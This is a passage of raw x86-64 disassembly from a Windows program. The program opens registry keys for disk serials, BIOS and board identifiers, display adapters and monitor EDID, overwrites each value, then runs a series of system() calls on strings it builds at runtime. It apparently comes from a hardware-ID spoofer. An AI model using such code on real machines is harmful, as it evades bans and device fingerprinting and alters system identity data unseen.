mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0xec18]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053a60
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0xec18]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xec10], r15
lea rax, [rbp + 0xec10]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_1Scsi_Bus_2Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xed78], 0x104
lea rax, [rbp + 0xed78]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x10950]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0xec10]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053b20
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0xec10]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xec08], r15
lea rax, [rbp + 0xec08]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_1Scsi_Bus_2Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xed74], 0x104
lea rax, [rbp + 0xed74]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x10a60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0xec08]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053be0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0xec08]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xed50], r15
lea rax, [rbp + 0xed50]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_1Scsi_Bus_2Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xed70], 0x104
lea rax, [rbp + 0xed70]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x10b70]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0xed50]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053ca0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0xed50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xed48], r15
lea rax, [rbp + 0xed48]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDESCRIPTIONSystemBIOS
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xed6c], 0x104
lea rax, [rbp + 0xed6c]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x10c80]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SystemFamily
mov rcx, qword [rbp + 0xed48]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053d60
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SystemFamily
mov rcx, qword [rbp + 0xed48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xed40], r15
lea rax, [rbp + 0xed40]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDESCRIPTIONSystemBIOS
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xed68], 0x104
lea rax, [rbp + 0xed68]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x10d90]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SystemSKU
mov rcx, qword [rbp + 0xed40]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053e20
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SystemSKU
mov rcx, qword [rbp + 0xed40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xed38], r15
lea rax, [rbp + 0xed38]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDESCRIPTIONSystemBIOS
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xed64], 0x104
lea rax, [rbp + 0xed64]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x10ea0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SystemProductName
mov rcx, qword [rbp + 0xed38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053ee0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SystemProductName
mov rcx, qword [rbp + 0xed38]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xed30], r15
lea rax, [rbp + 0xed30]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDESCRIPTIONSystemBIOS
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xed60], 0x104
lea rax, [rbp + 0xed60]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x10fb0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.BaseBoardProduct
mov rcx, qword [rbp + 0xed30]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053fa0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.BaseBoardProduct
mov rcx, qword [rbp + 0xed30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xed28], r15
lea rax, [rbp + 0xed28]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDESCRIPTIONSystem
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xee0c], 0x104
lea rax, [rbp + 0xee0c]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x110c0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SystemBiosVersion
mov rcx, qword [rbp + 0xed28]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140054060
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 7
xor r8d, r8d
lea rdx, str.SystemBiosVersion
mov rcx, qword [rbp + 0xed28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xed20], r15
lea rax, [rbp + 0xed20]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.SYSTEMHardwareConfigCurrent
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xee04], 0x104
lea rax, [rbp + 0xee04]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x111d0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SystemSKU
mov rcx, qword [rbp + 0xed20]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140054120
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SystemSKU
mov rcx, qword [rbp + 0xed20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xed18], r15
lea rax, [rbp + 0xed18]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.SYSTEMHardwareConfigCurrent
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xee00], 0x104
lea rax, [rbp + 0xee00]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x112e0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SystemFamily
mov rcx, qword [rbp + 0xed18]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x1400541e0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SystemFamily
mov rcx, qword [rbp + 0xed18]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xed10], r15
lea rax, [rbp + 0xed10]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.SYSTEMHardwareConfigCurrent
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xedfc], 0x104
lea rax, [rbp + 0xedfc]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x113f0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.BaseBoardProduct
mov rcx, qword [rbp + 0xed10]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x1400542a0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.BaseBoardProduct
mov rcx, qword [rbp + 0xed10]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xecb8], r15
lea rax, [rbp + 0xecb8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.SYSTEMHardwareConfigCurrent
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xedf8], 0x104
lea rax, [rbp + 0xedf8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x11500]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SystemProductName
mov rcx, qword [rbp + 0xecb8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140054360
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SystemProductName
mov rcx, qword [rbp + 0xecb8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xed08], r15
lea rax, [rbp + 0xed08]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.SYSTEMControlSet001ControlVideo23544D12_3A6E_11EC_B400_00D86154E47EVideo
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xedf4], 0x104
lea rax, [rbp + 0xedf4]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x11610]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.DeviceDesc
mov rcx, qword [rbp + 0xed08]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140054420
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.DeviceDesc
mov rcx, qword [rbp + 0xed08]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xed00], r15
lea rax, [rbp + 0xed00]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinSAT
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xedf0], 0x104
lea rax, [rbp + 0xedf0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x11720]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.PrimaryAdapterString
mov rcx, qword [rbp + 0xed00]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x1400544e0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.PrimaryAdapterString
mov rcx, qword [rbp + 0xed00]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xecf8], r15
lea rax, [rbp + 0xecf8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.SYSTEMControlSet001Services_amdwddmgEnum
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xedec], 0x104
lea rax, [rbp + 0xedec]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x11830]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x14012059c]
mov rcx, qword [rbp + 0xecf8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x1400545a0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, [0x14012059c]
mov rcx, qword [rbp + 0xecf8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xecf0], r15
lea rax, [rbp + 0xecf0]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftDirectX23544D12_3A6E_11EC_B400_00D86154E47E
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xede8], 0x104
lea rax, [rbp + 0xede8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x11940]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Description
mov rcx, qword [rbp + 0xecf0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140054660
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.Description
mov rcx, qword [rbp + 0xecf0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xece0], r15
lea rax, [rbp + 0xece0]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftDirectX23544D12_3A6E_11EC_B400_00D86154E47E
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xede4], 0x104
lea rax, [rbp + 0xede4]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x11a50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Description
mov rcx, qword [rbp + 0xece0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140054720
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.Description
mov rcx, qword [rbp + 0xece0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xece8], r15
lea rax, [rbp + 0xece8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.SYSTEMControlSet001EnumDISPLAYPHLC0B151d3057b80UID266Device_Parameters
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xede0], 0x104
lea rax, [rbp + 0xede0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x11b60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.EDID
mov rcx, qword [rbp + 0xece8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x1400547e0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
lea rdx, str.EDID
mov rcx, qword [rbp + 0xece8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov byte [rsp + 0x31], r15b
lea rdx, [rbp + 0x120]
lea rcx, [rsp + 0x31]
call fcn.140058b60
mov rcx, rax
call fcn.14004de60
mov rdi, rax
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x30]
call fcn.140058c00
mov rcx, rax
call fcn.14004de60
mov r14, rax
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rsi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xecc0], r15
lea rax, [rbp + 0xecc0]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, rdi
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xeddc], 0x104
lea rax, [rbp + 0xeddc]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x11c70]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov rdx, r14
mov rcx, qword [rbp + 0xecc0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
inc rax
cmp byte [rsi + rax], r15b
jne 0x1400548d7
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
mov r9d, 3
xor r8d, r8d
mov rdx, r14
mov rcx, qword [rbp + 0xecc0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov byte [rsp + 0x30], r15b
lea rdx, [rbp + 0x120]
lea rcx, [rsp + 0x30]
call fcn.140058c20
mov rcx, rax
call fcn.14004de60
mov rdi, rax
mov byte [rsp + 0x31], r15b
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x31]
call fcn.140058c00
mov rcx, rax
call fcn.14004de60
mov r14, rax
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rsi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xecc8], r15
lea rax, [rbp + 0xecc8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, rdi
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xedd8], 0x104
lea rax, [rbp + 0xedd8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x11d80]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov rdx, r14
mov rcx, qword [rbp + 0xecc8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
inc rbx
cmp byte [rsi + rbx], r15b
jne 0x1400549c7
inc ebx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rsi
mov r9d, 3
xor r8d, r8d
mov rdx, r14
mov rcx, qword [rbp + 0xecc8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140058cc0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140058d40
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140058dc0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140058e60
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140058f10
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140058fa0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140059170
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140059200
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140059360
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140059450
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140059540
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140059660
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140059720
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140059800
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.1400598b0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140059960
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140059a40
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140059b70
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140059c90
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], r15b
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
